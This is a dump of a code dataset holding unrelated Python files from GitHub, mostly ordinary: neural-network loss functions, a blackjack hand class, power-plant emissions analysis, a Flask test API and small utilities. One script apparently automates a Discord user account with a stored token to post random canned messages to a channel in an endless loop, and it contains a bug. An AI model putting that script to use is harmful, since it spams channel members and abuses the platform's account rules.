#conv9=Dropout(rate=.2)(conv9)\n    conv9 = layers.Conv2D(f(base_n), 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(conv9)\n    conv10 = layers.Conv2D(1, 1 ,activation = 'relu',)(conv9)\n    \n    model = models.Model(inputs = inputs, outputs = conv10) \n    #model.compile(optimizer = kOpt.Adam(lr = 1E-4), loss = mean_squared_error_weighted, metrics = ['mean_absolute_error','mean_squared_error',countErr,countErr_signed,countErr_relative]) \n    model.compile(optimizer = kOpt.Adam(lr = 1E-4), loss = mean_squared_error_weighted) \n    #decay = 1E-4/100\n    #load existing model if provided\n    if(pretrained_weights):\n    \tmodel.load_weights(pretrained_weights)\n    return model\n\n#unused shorthand for batchnorm/conv combo\ndef conv_relu_bn(nFilt,layer):\n    conv = layers.Conv2D(nFilt, 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(layer)\n    conv= layers.BatchNormalization(axis=3)(conv)\n    conv = layers.Conv2D(nFilt, 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(conv)\n    conv= layers.BatchNormalization(axis=3)(conv)\n    return conv\n\n#%% define custom loss functions and metrics for tensorflow. \n    \n#structural similarity index. can be useful to look at overall density map quality.\n#see https://scikit-image.org/docs/dev/auto_examples/transform/plot_ssim.html for details    \ndef ssim(target,prediction):\n    out=tf.image.ssim(target,prediction,2)\n    out=-1*out\n    return out\n#correlation of gt and predicted count density values, pixelwise\n#def corr2(target,prediction):\n#    out=tfp.stats.correlation(tf.reshape(target[0,p:-p,p:-p,0],[192**2,1]),tf.reshape(prediction[0,p:-p,p:-p,0],[192**2,1]))\n#    return out\n#not used. implements Lempitsky et al.'s loss function\ndef mesa_dist(target, prediction):    \n    target=target[0,:,:,0]\n    prediction=prediction[0,:,:,0]\n    diff1=target-prediction\n    diff2=-target+prediction\n    dMesa= tf.math.reduce_max(max_subarray_tf.maxSubArray_2D(diff1)[0],max_subarray_tf.maxSubArray_2D(diff2)[0])\n    return dMesa\n#weighted mse. not weighted if weight=1\ndef mean_squared_error_weighted(y_true, y_pred):\n    #essentially works as MSE with the cropping to remove mirrored regions\n    weight=1\n    dens = tf.not_equal(y_true, 0)\n    sqdiff=keras.square(y_pred - y_true)\n    sqdiff=tf.where(dens, weight*sqdiff, sqdiff) #condition, iftrue, iffalse\n    return keras.mean(sqdiff[:,p:-p,p:-p,:]) \n\ndef mean_squared_error_bias(y_true, y_pred):\n    #combo loss function of MSE and whole image error metric\n    weight=1\n    dens = tf.not_equal(y_true, 0)\n    sqdiff=keras.square(y_pred - y_true)\n    sqdiff=tf.where(dens, weight*sqdiff, sqdiff) #condition, iftrue, iffalse\n    err=countErr(y_true, y_pred)\n    return keras.mean(sqdiff[0,p:-p,p:-p,0])+(.1*tf.square(err))\n\n\ndef mean_squared_error_worst(y_true, y_pred):\n    n=.25 #evaluate worst 1/4 of pixels- attempted substitute for max subarray\n    \n    sqdiff=keras.square(y_pred - y_true)[0,p:-p,p:-p,0]\n    sqdiff=tf.reshape(sqdiff,[-1])\n    sqdiff=tf.sort(sqdiff) #sorts in ascending order\n    sqdiff=sqdiff[int(n*192*192):]\n    \n    return keras.mean(sqdiff)\n\n\n#evaluate loss only at worst pixel\ndef max_squared_error_weighted(y_true, y_pred):\n    dens = tf.not_equal(y_true, 0)\n    sqdiff=keras.square(y_pred - y_true)\n    sqdiff=tf.where(dens, sqdiff, sqdiff) #condition, iftrue, iffalse\n    return keras.max(sqdiff)\n#square of summed error\ndef tot_err(y_true, y_pred):\n    #returns total image error squared\n    return keras.square(keras.sum(y_true- y_pred)/data.mult)\n#absolute value of total error in image\ndef countErr(target, prediction):\n    #target=tf.math.exp(target)-1\n    #prediction=tf.math.exp(prediction)-1\n    \n    a=keras.sum(target)\n    b=keras.sum(prediction)\n    error = (b-a)\n    return tf.math.abs(error/data.mult)\n#relative error over full image\ndef countErr_relative(target, prediction):\n    #target=tf.math.exp(target)-1\n    #prediction=tf.math.exp(prediction)-1\n    #calculates percent error\n    \n    a=keras.sum(target)+1\n    b=keras.sum(prediction)+1\n    error = (b-a)/a\n    return tf.math.abs(error)\n#signed total error in image\ndef countErr_signed(target, prediction):\n    #target=tf.math.exp(target)-1\n    #prediction=tf.math.exp(prediction)-1\n    \n    \n    a=keras.sum(target)\n    b=keras.sum(prediction)\n    error = (b-a)\n    return (error/data.mult)\n#get averages for prediciton and target values\ndef targSum(target, prediction):\n    a=keras.sum(target)\n    return a\ndef predSum(target, prediction):\n    a=keras.sum(prediction)\n    return a\n\n","repo_name":"ethier-lab/AxoNet","sub_path":"src/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":8928,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"40964721682","text":"\"\"\" The Hand class instantiates a list of Card objects.\n    We add a card to a hand by adding a Card instanse to the cards list.\n    To calculate the value, we determine if card is numeric, Ace, or other (a face card).\n    Once determined the value is added.\n    If the hand is a bust (>21), the value of the Ace is reduced to 1.\n\"\"\"\n\n\nclass Hand:\n    # This function when called from the game class creates a empty hand for the player then the dealer.\n    def __init__(self, dealer=False):\n        self.dealer = dealer\n        self.cards = []\n        self.rank = 0\n\n    # A Card object is added to the cards list.\n    def add_card(self, card):\n        self.cards.append(card)\n    # This function initiates the card at 0 value and not an ace.  \n    def calculate_rank(self):\n        self.rank = 0\n        has_ace = False\n        # Here we loop througe the Card instances, calculate and add the value.\n        for card in self.cards:\n            if card.rank.isnumeric():\n                self.rank += int(card.rank)\n            else:\n                if card.rank == \"A\":\n                    has_ace = True\n                    self.rank += 11\n                else:\n                    self.rank += 10\n         # If over 21 Ace rank drops from 11 to 1\n        if has_ace and self.rank > 21:  \n            self.rank -= 10\n    # When called from game.py, this function the calculate_rank function.\n    def get_rank(self):\n        self.calculate_rank()\n        return self.rank\n\n    # This function prints players and the dealers 2nd card (hides the first).\n    def display(self):\n        if self.dealer:\n            print(\"Hidden\")\n            print(self.cards[1])\n        else:\n            for card in self.cards:  \n                print(card)\n            print(\"rank:\", self.get_rank())","repo_name":"JEmbry2019/Poker_Python_Project_Tuesday","sub_path":"hand.py","file_name":"hand.py","file_ext":"py","file_size_in_byte":1783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"6343141054","text":"import libreria\n\n\n# Aplicacion para guardar datos de pedir cantidad de productos\n\ndef agregarProductos():\n    # 1. Pedir productos\n    # 2. Pedir cantidad\n    # 3. Guardar los datos en el archivo 5_app.txt\n    producto= libreria.pedir_producto(\"Ingrese producto : \")\n    cantidad= libreria.pedir_kilogramo(\"Ingrese cantidad : \")\n    contenido= producto +\"     -     \"+str(cantidad)+\" kg\\n\"\n    libreria.guardar_datos(\"5_app.txt\", contenido, \"a\")\n    print(\"Datos guardados\")\n\ndef leerProductos():\n    print(\"Producto       Precio\")\n    datos= libreria.obtener_datos(\"5_app.txt\")\n    if(datos != \"\"):\n        print(datos)\n    else:\n        print(\"Datos no guardados\")\n\nopc=0\nmax=3\nwhile ( opc != max ):\n    print(\"##################################################\")\n    print(\"############  MENU ###############################\")\n    print(\"##################################################\")\n    print(\"# 1. Pedir producto y cantidad                   #\")\n    print(\"# 2. Leer producto y cantidad                    #\")\n    print(\"# 3. Salir                                       #\")\n    print(\"##################################################\")\n\n    opc = libreria.pedir_numero(\"Ingrese opcion : \", 1, 3)\n\n    if ( opc == 1 ):\n        agregarProductos()\n\n    if ( opc == 2):\n        leerProductos()\n# fin_menu\n\nprint(\"Fin del programa\")\n","repo_name":"florespadillaunprg/t10_flores.padilla","sub_path":"flores/1_menus/app5.py","file_name":"app5.py","file_ext":"py","file_size_in_byte":1342,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"36467762601","text":"# -*- coding:utf-8 -*-\n\nfrom pymongo import MongoClient\n\nconn = MongoClient(\"192.168.200.120\", 27017)\n\ndb = conn[\"products\"]\n\ncol = db[\"jay_loco_amazons\"]\n\nrs = col.find({\"crawlid\": \"5116\"}, {\"images\": 1})\n\nfor i in rs:\n\n    print(i)","repo_name":"ShichaoMa/old-spider","sub_path":"test/test_image_exist.py","file_name":"test_image_exist.py","file_ext":"py","file_size_in_byte":233,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"11615449783","text":"import requests\r\nimport random\r\nimport time\r\nimport os\r\nimport pyfiglet\r\nfrom colorama import Fore\r\n\r\nascii_banner = pyfiglet.figlet_format(\"samidbangkit\")\r\nprint(ascii_banner)\r\n\r\ntime.sleep(1)\r\n\r\nchannel_id = input(\"Masukkan ID channel: \")\r\nwaktu1 = int(input(\"Set Waktu Hapus Pesan: \"))\r\nwaktu2 = int(input(\"Set Waktu Kirim Pesan: \"))\r\n\r\ntime.sleep(1)\r\nprint(\"3\")\r\ntime.sleep(1)\r\nprint(\"2\")\r\ntime.sleep(1)\r\nprint(\"1\")\r\ntime.sleep(1)\r\n\r\ndef countdown(t):\r\n    \r\n    while t:\r\n        mins, secs = divmod(t, 60)\r\n        timer = '{:02d}:{:02d}'.format(mins, secs)\r\n        print(timer, end=\"\\r\")\r\n        time.sleep(1)\r\n        t -= 1\r\n      \r\n    print('Fire in the hole!!')\r\n  \r\n  \r\n# input time in seconds\r\nt = waktu1\r\n\r\n\r\n\r\nos.system('cls' if os.name == 'nt' else 'clear')\r\n\r\nwith open(\"pesan.txt\", \"r\") as f:\r\n    words = f.readlines()\r\n\r\nwith open(\"token.txt\", \"r\") as f:\r\n    authorization = f.readline().strip()\r\n\r\nwhile True:\r\n        channel_id = channel_id.strip()\r\n\r\n        payload = {\r\n            'content': random.choice(words).strip()\r\n        }\r\n\r\n        headers = {\r\n            'Authorization': authorization\r\n        }\r\n\r\n        r = requests.post(f\"https://discord.com/api/v9/channels/{channel_id}/messages\", data=payload, headers=headers)\r\n        print(Fore.WHITE + \"Sent message: \")\r\n        print(Fore.YELLOW + payload['content'])\r\n        \r\n  \r\n# function call\r\n\r\n        print(Fore.RED + payload[countdown(int(t))])\r\n\r\n\r\n        response = requests.get(f'https://discord.com/api/v9/channels/{channel_id}/messages', headers=headers)\r\n\r\n        if response.status_code == 200:\r\n            messages = response.json()\r\n            if len(messages) == 0:\r\n                is_running = False\r\n                break\r\n            else:\r\n                time.sleep(waktu1)\r\n\r\n        else:\r\n            print(f'Gagal mendapatkan pesan di channel: {response.status_code}')\r\n\r\n        time.sleep(waktu2)\r\n","repo_name":"smdbngkt/pushbang","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"32622905061","text":"s = int(input())\n\ndef f(a):\n    if a % 2 == 0:\n        return a / 2\n    else:\n        return 3*a + 1\n\na = [s]\ni = 1\nwhile True:\n    i += 1\n    a_next = f(a[-1])\n    if a_next in a:\n        print(i)\n        break\n    else:\n        a.append(a_next)","repo_name":"tamlog06/Atcoder-Beginner-Contest","sub_path":"problems/ABC/116/b/abc116_b.py","file_name":"abc116_b.py","file_ext":"py","file_size_in_byte":246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14227337376","text":"#This file used to analyze data that exists locally. Data is downloaded seperately. \nfrom numpy import array\nimport csv\nimport os\nimport pickle\n\npath = \"/home/human/WattTime/data/CA-2012\" \npath2= \"/home/human/WattTime/data/CA-2012-Price\"\nplants = {}\npices = {}\n\n#functions for preservation of abstraction\ndef get_name(row):\n    try: return float(row[1])\n    except: return 0\n\ndef get_ORISPL_code(row):\n    try: return float(row[2])\n    except: return 0\n\ndef get_unit_id(row):\n    try: return float(row[3])\n    except: return 0\n\ndef get_date(row):\n    try: return row[4]\n    except: return 0\n\ndef get_hour(row):\n    try: return float(row[5])\n    except: return 0\n\ndef get_op_time(row):\n    try: return float(row[6])\n    except: return 0 \n\ndef get_GLOAD(row):\n    try: return float(row[7])\n    except: return 0\n\ndef get_SLOAD(row):\n    return row[8]\n\ndef get_SO2_MASS(row):\n    return row[9]\n\ndef get_SO2_MASS_MEASURE(row):\n    return row[10]\n\ndef get_SO2_RATE(row):\n    return row[11]\n\ndef get_SO2_RATE_MEASURE(row):\n    return row[12]\n\ndef get_CO2_MASS(row):\n    try: return row[17]\n    except: return 0\n\n#for price data begin\ndef get_LMP_TYPE(row):\n    try: return row[6]\n    except: return 0\n\ndef get_OPR_DT(row):\n    try: return row[0]\n    except: return 0\n\ndef get_HE01(row):\n    try: return row[11]\n    except: return 0\n\ndef get_AVPR(row):\n#returns the average price in a day\n    total_price = 0\n    for i in range(11,35):\n        try: total_price += float(row[i])\n        except: total_price += 0\n    return total_price/24\n#for price data end\n\ndef get_first(row):\n    return row[0] #gets first item in row\n# end of abstraction functions for getting info from csv list object\n\n\"\"\"\n#This is for opening new .csv files. This should now be done by opener.py\n#here for reference only.\n\nfor filename in os.listdir(path):\n    with open(\"{0}/{1}\".format(path,filename)) as csv_file:\n        data_object = csv.reader(csv_file)\n        for row in data_object:\n            if \"{0} ID:{d1}\".format(get_name(row),get_unit_id(row)) not in plants:\n                plants[\"{0} ID:{1}\".format(get_name(row),get_unit_id(row))] = [row]\n            else:                      \n                if get_unit_id(row) == get_unit_id(get_first(plants[\"{0} ID:{1}\".format(get_name(row),get_unit_id(row))])):\n                    plants[\"{0} ID:{1}\".format(get_name(row),get_unit_id(row))].append(row)\n                else:\n                    plants[\"{0} ID:{1}\".format(get_name(row),get_unit_id(row))] = [row]\n\"\"\"\nwith open(\"/home/human/WattTime/data/plants.pickle\",\"rb\") as pickler:\n    plants= pickle.load(pickler) #gets info for plants dictionary from file\n\n\"\"\"\n#This is for generating an \"aggregate plant\", that measures total amount over all plants\n#This should now be done by opener.py. Here for reference only. \n\ndef tryfloat(string):\n    try: return float(string)\n    except: return 0\n\naggregate_plant ={}\nworklist = []\nfor plant in plants:\n    for row in plants[plant]:\n        if get_date(row) not in aggregate_plant:\n            totalhour = get_op_time(row)\n            totalmw = get_GLOAD(row)\n            totalCO2 = get_CO2_MASS(row)\n            aggregate_plant[get_date(row)] = [tryfloat(totalhour), tryfloat(totalmw), tryfloat(totalCO2)]\n        else:\n            hour = get_op_time(row)\n            mw = get_GLOAD(row)\n            CO2 = get_CO2_MASS(row)\n            aggregate_plant[get_date(row)][0] += tryfloat(hour)\n            aggregate_plant[get_date(row)][1] += tryfloat(mw)\n            aggregate_plant[get_date(row)][2] += tryfloat(CO2)\n\"\"\"\nwith open(\"/home/human/WattTime/data/aggregate_plant.pickle\",\"rb\") as pickler:\n    aggregate_plant = pickle.load(pickler) #gets info for aggregate_plant dictionary from file\n\n\"\"\"\n#this is a test that displays the contents of the aggregate_plant dictionary\n#uncomment to run\nfor value in sorted(aggregate_plant):\n   print(value, aggregate_plant[value])\n\"\"\"   \n#this converts the aggregate plant dictionary into a data list.\ndata_list = []\nfor date in sorted(aggregate_plant):\n    data_list.append([date] + aggregate_plant[date])\ndata_list.pop()\ndata_list.pop()\n#thisconverts the data_list into a 2-dimmensional numpy array \ndata_array = array([row for row in data_list])    \n\nwith open(\"/home/human/WattTime/data/data_array.pickle\",\"wb\") as pickler:\n    pickle.dump(data_array, pickler) #dumps the array for later use by engine\n\n\n\"\"\"\n#this is a test that displays the contents of the data_list list\n#uncomment to run\nfor i in data_list:\n    print(i)\n\"\"\"\n\n#these 3 dictionaries exist to make working with their respective variables more convenient\n\"\"\"\naggregate_HOUR = {} \nfor i in aggregate_plant:\n    aggregate_HOUR[aggregate_plant[i][0]] = i\n    \naggregate_MW = {}\nfor i in aggregate_plant:\n    aggregate_MW[aggregate_plant[i][1]] = i\n\naggregate_CO2 = {}\nfor i in aggregate_plant:\n    aggregate_CO2[aggregate_plant[i][2]] = i\n\"\"\"\n\"\"\"\n#this is a test that displays the contents of the dictionaries in increasing order\n#uncomment to run\nfor dic in [aggregate_HOUR,aggregate_MW,aggregate_CO2]:\n    for value in sorted(dic):\n        print(value, dic[value])\n\"\"\"\n\n\"\"\"\n #This is for opening new .csv files for price. This should now be done by opener.py\n #Here for reference only. \n\nfor filename in os.listdir(path2):\n    with open(\"{0}/{1}\".format(path2,filename)) as csv_file:\n        price_object = csv.reader(csv_file)\n        for row in price_object:\n            if get_LMP_TYPE(row) == \"LMP\":\n                prices[get_OPR_DT(row)] = row\n\"\"\"\n\nwith open(\"/home/human/WattTime/data/prices.pickle\",\"rb\") as pickler:\n    prices = pickle.load(pickler) #gets info for prices dictionary from file\n\nav_daily_prices = {}\nfor date in prices:\n    av_daily_prices[get_AVPR(prices[date])] = date\n\"\"\"\n#This is a test that prints the average daily prices in increasing order.\n#uncomment to run\nfor price in sorted(av_daily_prices):\n    print(price, av_daily_prices[price])\n\"\"\"\nav_daily_prices_bydate = {}\nfor date in prices:\n    av_daily_prices_bydate[date] = get_AVPR(prices[date])\n        \n\"\"\"\n#Another formatting test\nfor plant in sorted(plants):\n    for row in plants[plant]:\n        print(\"Plant: {0}; Date: {1} Hour: {2}; Operating Percent: {3}\".format(get_name(row), get_date(row), get_hour(row), get_op_time(row)))\n\nprint(\"Success!\")\n\n\"\"\"\n\ndef count_rows(plants, key):\n    count = 0   \n    for row in plants[key]:\n        count +=1\n\ndef mean(dictionary):\n    total = 0\n    count = 0\n    for value in dictionary.values():\n        count +=1\n        try: total += value\n        except: total += 0\n    return total/count\n\ndef avpr_when_on(plants, prices):\n    outlist = []\n    for plant in sorted(plants):\n        for row in plants[plant]:\n            outlist.append(\"{0}: {1}\".format(get_date(row), get_hour(row)))\n\ndef operating_time_average(plants, period=24):\n #returns average operating time over all plants in given period\n    returndict = {}\n    for plant in plants:\n        count = 0\n        ontime = 0\n        for row in plants[plant]:\n            count += 1\n            try: ontime += float(get_op_time(row))\n            except: ontime += 0\n        returndict[plant] = (ontime * period)/count\n    return mean(returndict)\n\n\ndef average_X(plants, plant, get_X,  period=24):\n    total = 0 \n    count = 0\n    for row in plants[plant]:\n        if float(get_X(row)) >= 0:\n            count += 1\n            total += float(get_X(row))\n    if count == 0: \n        return 0\n    return (total * period)/count\n\ndef average_X_dict(plants, get_X, period=24):\n    AV_DICT = {}\n    for plant in plants:\n        AV_DICT[plant] = average_X(plants, plant, get_X, period) \n    return AV_DICT\n\ndef op_time_av_plant(plant, period=24):\n    ontime = 0\n    for row in plant:\n        try: ontime += float(get_op_time(row))\n        except: ontime += 0\n    return (ontime * period)/8784\n\ndef CO2_per_MW(plant, period=1):\n    CO2 = 0\n    MW = 0\n    for row in plant:\n        try: CO2 += float(get_CO2_MASS(row))\n        except: CO2 += 0  \n    for row in plant:\n        try: MW += float(get_GLOAD(row))\n        except: MW += 0\n    if MW == 0:\n        return 0\n    return (period * (CO2/MW))\n\"\"\"\n#FOR GRAPHING WITH MATPLOTLIB/PYLAB\n\nCO2_DICT = {}\nfor plant in sorted(plants):\n    CO2_DICT[CO2_per_MW(plants[plant])] = plant\nfor plant in sorted(CO2_DICT):\n    print(plant, CO2_DICT[plant])\nxvals =[]\nyvals =[]\nfor plant in sorted(CO2_DICT):\n    xvals.append(CO2_DICT[plant])\n    yvals.append(plant)\nimport matplotlib.pyplot as plt\nimport pylab\n\nfig = plt.figure()\ngraph = fig.add_subplot(111)\nfig.subplots_adjust(top=0.85)\ngraph.set_ylabel(\"CO2 per MW/hr\")\ngraph.set_xlabel(\"Plants\")\nfig.suptitle(\"Average CO2 per MW\", fontsize=25, fontweight=\"bold\")\nx = range(len(xvals))\npylab.plot(x, yvals, \"g\")\npylab.show()\n\"\"\"\n    \ndef at_least(a, b):\n    if a >= b:\n        return True\n    else:\n        return False\n\ndef at_most(a, b):\n    if a <= b:\n        return True\n    else:\n        return False\n\ndef on_percent(plants, percent, operator, period=24): \n#returns a list of plants that were operating (on average) at least X percent of a period\n    returnlist = []\n    for plant in plants:\n        if operator(op_time_av_plant(plants[plant], period), percent*period):\n            returnlist.append(plant)\n    return returnlist\n\"\"\"\n#This is a test that prints all plants on at least half of an average day\n#Uncomment to run\nfor plant in on_percent(plants, .5 , at_least, 24):\n    print (plant)\n\"\"\"\ndef similar(plants, operator, threshold, comparer, value, period=24):\n    #returns a dictionary of plants greater than or less than(depending on operator) a certain threshold ratio of the output of a value function over a period, compared by some comparer function\n    returndict= {}\n    finaldict = {}\n    for plant in plants:\n        returndict[plant] = comparer(plants[plant], period)\n    for item in returndict:\n        if operator(returndict[item]/value, threshold * value):\n            finaldict[item] = returndict[item]   \n    return finaldict\n\n\"\"\"\"\n#This is a test which displays an example use of \"similar\" function from above.\n#Uncomment to run\n\nsortdict =  similar(plants, at_least, 1 , op_time_av_plant, operating_time_average(plants))\nreverse = {}\nfor plant in sorted(sortdict):\n    reverse[sortdict[plant]] = plant\nfor i in reverse:\n    print(i, reverse[i])\n\"\"\"\ndef similar_days(dict_list, date, radius):\n    \"\"\" takes in a list of pairs of dictionaries of format:\n       [({average of var1: corresponding-date }, {corresponding-date: average of var1}), ({average of var2: corresponding-date... }...)...]\n    as well as a date, and a radius. Returns the most similar days to the given day by minimizing\n    the distance between the values recorded in that day and the average values in\n    the {radius} amount of days requested. A radius of 5 would return the 10 most\n    similar days: 5 days with values greater than the day, and 5 days with lower values\n    \"\"\"\n    return(\"failure\")\n\ndef similar_days(dict_list, date, amount):\n    my_difference =\"nope\"  \n    print(\"Success!\")\n\n","repo_name":"egeriicw/watttime-grid","sub_path":"regression/2011_REGS/inspector.py","file_name":"inspector.py","file_ext":"py","file_size_in_byte":10999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"36577024933","text":"import json\nfrom queue import Empty\n\nfrom sqlalchemy import and_\n\nfrom flask_restful import Resource\nfrom flask import request\n\nfrom tools import api_tools, auth\nfrom ...models.tests import Test\nfrom ...models.pd.test_parameters import PerformanceTestParam\nfrom ...utils.utils import run_test, parse_test_data, handle_artifact_source\n\n\nclass API(Resource):\n    url_params = [\n        '<int:project_id>',\n    ]\n\n    def __init__(self, module):\n        self.module = module\n\n    @auth.decorators.check_api({\n        \"permissions\": [\"performance.backend.tests.view\"],\n    })\n    def get(self, project_id: int):\n        total, res = api_tools.get(project_id, request.args, Test)\n        rows = []\n        for i in res:\n            test = i.api_json()\n            schedules = test.pop('schedules', [])\n            if schedules:\n                try:\n                    test['scheduling'] = self.module.context.rpc_manager.timeout(\n                        2).scheduling_backend_performance_load_from_db_by_ids(schedules)\n                except Empty:\n                    test['scheduling'] = []\n            rows.append(test)\n        return {'total': total, 'rows': rows}, 200\n\n    @staticmethod\n    def get_schedules_ids(filter_) -> set:\n        r = set()\n        for i in Test.query.with_entities(Test.schedules).filter(\n                filter_\n        ).all():\n            r.update(set(*i))\n        return r\n\n    @auth.decorators.check_api({\n        \"permissions\": [\"performance.backend.tests.delete\"],\n        \"recommended_roles\": {\n            \"default\": {\"admin\": True, \"editor\": False, \"viewer\": False},\n            \"administration\": {\"admin\": True, \"editor\": False, \"viewer\": False},\n        }\n    })\n    def delete(self, project_id: int):\n        project = self.module.context.rpc_manager.call.project_get_or_404(\n            project_id=project_id)\n        try:\n            delete_ids = list(map(int, request.args[\"id[]\"].split(',')))\n        except TypeError:\n            return 'IDs must be integers', 400\n\n        filter_ = and_(\n            Test.project_id == project.id,\n            Test.id.in_(delete_ids)\n        )\n\n        try:\n            self.module.context.rpc_manager.timeout(3).scheduling_delete_schedules(\n                self.get_schedules_ids(filter_)\n            )\n        except Empty:\n            ...\n\n        Test.query.filter(\n            filter_\n        ).delete()\n        Test.commit()\n\n        return {'ids': delete_ids}, 200\n\n    @auth.decorators.check_api({\n        \"permissions\": [\"performance.backend.tests.create\"],\n        \"recommended_roles\": {\n            \"default\": {\"admin\": True, \"editor\": True, \"viewer\": False},\n            \"administration\": {\"admin\": True, \"editor\": True, \"viewer\": False},\n        }\n    })\n    def post(self, project_id: int):\n        \"\"\"\n        Create test and run on demand\n        \"\"\"\n        data = json.loads(request.form.get('data'))\n        run_test_ = data.pop('run_test', False)\n        compile_tests_flag = data.pop('compile_tests', False)\n        engagement_id = data.get('integrations', {}).get('reporters', {}) \\\n            .get('reporter_engagement', {}).get('id')\n\n        test_data, errors = parse_test_data(\n            project_id=project_id,\n            request_data=data,\n            rpc=self.module.context.rpc_manager,\n        )\n\n        if errors:\n            return errors, 400\n\n        schedules = test_data.pop('scheduling', [])\n\n        test_data['test_parameters'].append(\n            PerformanceTestParam(\n                name=\"test_type\",\n                default=test_data.pop('test_type'),\n                description='auto-generated from test type'\n            ).dict()\n        )\n        test_data['test_parameters'].append(\n            PerformanceTestParam(\n                name=\"env_type\",\n                default=test_data.pop('env_type'),\n                description='auto-generated from environment'\n            ).dict()\n        )\n\n        if test_data['source']['name'] == 'artifact':\n            project = self.module.context.rpc_manager.call.project_get_or_404(\n                project_id=project_id)\n            handle_artifact_source(project, request.files['file'],\n                                   compile_tests_flag=compile_tests_flag,\n                                   runner=test_data[\"runner\"])\n\n        test = Test(**test_data)\n        test.insert()\n\n        test.handle_change_schedules(schedules)\n\n        if run_test_:\n            resp = run_test(test, engagement_id=engagement_id)\n            return resp, resp.get('code', 200)\n        return test.api_json(), 200\n","repo_name":"carrier-io/backend_performance","sub_path":"api/v1/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":4578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10087448988","text":"from tkinter import Canvas\n\n\nclass CaseTaquin:\n    largeur = 80\n    hauteur = 80\n    fill = \"grey\"\n    activefill = \"green\"\n    font = ('Helvetica', '16')\n\n    def __init__(self, canevas: Canvas, numero: int, x: int, y: int):\n        self.x = x\n        self.y = y\n        self.numero = numero\n        self.canevas = canevas\n        self.id = None\n\n    def draw(self):\n        self.id = self.canevas.create_rectangle(self.x, self.y, self.x + CaseTaquin.largeur,\n                                                self.y + CaseTaquin.hauteur, fill=CaseTaquin.fill,\n                                                activefill=CaseTaquin.activefill)\n        self.canevas.create_text(self.x + CaseTaquin.largeur // 2, self.y + CaseTaquin.hauteur // 2,\n                                 text=str(self.numero), font=CaseTaquin.font)\n\n    def deplace_droite(self):\n        self.x = self.x + CaseTaquin.largeur\n        self.canevas.move(self.id, CaseTaquin.largeur, 0)\n        self.canevas.move(self.id + 1, CaseTaquin.largeur, 0)\n\n    def deplace_gauche(self):\n        self.x = self.x - CaseTaquin.largeur\n        self.canevas.move(self.id, -CaseTaquin.largeur, 0)\n        self.canevas.move(self.id + 1, -CaseTaquin.largeur, 0)\n\n    def deplace_haut(self):\n        self.y = self.y - CaseTaquin.hauteur\n        self.canevas.move(self.id, 0, -CaseTaquin.hauteur)\n        self.canevas.move(self.id + 1, 0, -CaseTaquin.hauteur)\n\n    def deplace_bas(self):\n        self.y = self.y + CaseTaquin.hauteur\n        self.canevas.move(self.id, 0, CaseTaquin.hauteur)\n        self.canevas.move(self.id + 1, 0, CaseTaquin.hauteur)\n\n    def __str__(self):\n        return f\"({self.x},{self.y})\"\n","repo_name":"oultetman/taquin","sub_path":"case_taquin.py","file_name":"case_taquin.py","file_ext":"py","file_size_in_byte":1666,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"72626219847","text":"from PyGRB.main.fitpulse import PulseFitter\nfrom PyGRB.backend.makemodels import create_model_from_key\n\nGRB = PulseFitter(7475, times = (-2, 60),\n          datatype = 'discsc', nSamples = 200, sampler = 'nestle',\n          priors_pulse_start = -10, priors_pulse_end = 30, p_type ='docs')\n\nkey = 'F'\nmodel = create_model_from_key(key)\nGRB.main_multi_channel(channels = [0, 1, 2, 3], model = model)\n","repo_name":"JamesPaynter/PyGRB","sub_path":"examples/basic.py","file_name":"basic.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"16"}
+{"seq_id":"39639202658","text":"#!/usr/bin/python3\n\"\"\"\nFetches a URL and prints the X-Request-Id header value.\n\"\"\"\n\nimport requests\nimport sys\n\n\ndef main():\n    r = sys.argv[1]\n    \"\"\"sends a request to the url\"\"\"\n    response = requests.get(r)\n    if 'X-Request-Id' in response.headers:\n        \"\"\"prints the id id variable in the header\"\"\"\n        print(response.headers['X-Request-Id'])\n    else:\n        return None\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"kamerelinda/alx_python","sub_path":"python-network_1/1-hbtn_header.py","file_name":"1-hbtn_header.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"40069427809","text":"# -*- coding: utf-8 -*-\n# cls_mssqlserver.py\t written by Duncan Murray 28/4/2014\n# Simple wrapper for MS SQL Server functionality\n\n#  install https://pypi.python.org/pypi/pypyodbc/ \n#  extract folder to D:\\install\\python\\pypyodbc-1.3.1\n# shell to folder, run setup.py\n# in your main program:\n# import lib_data_SQLServer as sql\n# sql.CreateAccessDatabase('test.mdb')\n\n\n\ntry:\n    import pypyodbc \nexcept ImportError:\n    print('you need to install https://pypi.python.org/pypi/pypyodbc/ ')\n    exit(1)\n\nfrom if_database import Database\n\n\ndef TEST():\n    #testFile = 'D:\\\\database.mdb'\n    print('wrapper for MS SQL Server and Access databases')\n    \n    d = MSSQL_server(['server', 'database', 'username', 'password'])\n    d.connect()\n    print(d.server)\n    \nclass MSSQL_server(Database):\n\n    def CreateAccessDatabase(self, fname):\n        pypyodbc.win_create_mdb(fname)\n        connection = pypyodbc.win_connect_mdb(fname)\n        connection.cursor().execute('CREATE TABLE t1 (id COUNTER 